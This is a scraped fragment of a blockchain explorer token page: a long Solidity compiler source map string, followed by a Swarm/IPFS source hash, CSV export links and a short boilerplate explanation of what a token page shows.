3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:474::-;5149:6;5157;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5459:2;5485:53;5530:7;5521:6;5510:9;5506:22;5485:53;:::i;:::-;5475:63;;5430:118;5081:474;;;;;:::o;5561:180::-;5609:77;5606:1;5599:88;5706:4;5703:1;5696:15;5730:4;5727:1;5720:15;5747:320;5791:6;5828:1;5822:4;5818:12;5808:22;;5875:1;5869:4;5865:12;5896:18;5886:81;;5952:4;5944:6;5940:17;5930:27;;5886:81;6014:2;6006:6;6003:14;5983:18;5980:38;5977:84;;6033:18;;:::i;:::-;5977:84;5798:269;5747:320;;;:::o;6073:180::-;6121:77;6118:1;6111:88;6218:4;6215:1;6208:15;6242:4;6239:1;6232:15;6259:194;6299:4;6319:20;6337:1;6319:20;:::i;:::-;6314:25;;6353:20;6371:1;6353:20;:::i;:::-;6348:25;;6397:1;6394;6390:9;6382:17;;6421:1;6415:4;6412:11;6409:37;;;6426:18;;:::i;:::-;6409:37;6259:194;;;;:::o;6459:191::-;6499:3;6518:20;6536:1;6518:20;:::i;:::-;6513:25;;6552:20;6570:1;6552:20;:::i;:::-;6547:25;;6595:1;6592;6588:9;6581:16;;6616:3;6613:1;6610:10;6607:36;;;6623:18;;:::i;:::-;6607:36;6459:191;;;;:::o;6656:410::-;6696:7;6719:20;6737:1;6719:20;:::i;:::-;6714:25;;6753:20;6771:1;6753:20;:::i;:::-;6748:25;;6808:1;6805;6801:9;6830:30;6848:11;6830:30;:::i;:::-;6819:41;;7009:1;7000:7;6996:15;6993:1;6990:22;6970:1;6963:9;6943:83;6920:139;;7039:18;;:::i;:::-;6920:139;6704:362;6656:410;;;;:::o;7072:180::-;7120:77;7117:1;7110:88;7217:4;7214:1;7207:15;7241:4;7238:1;7231:15;7258:185;7298:1;7315:20;7333:1;7315:20;:::i;:::-;7310:25;;7349:20;7367:1;7349:20;:::i;:::-;7344:25;;7388:1;7378:35;;7393:18;;:::i;:::-;7378:35;7435:1;7432;7428:9;7423:14;;7258:185;;;;:::o
Swarm Source
ipfs://1726fddf1b7d6209b81482d3fae754310ab88147a0cf4032ab8d48e88d689249
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.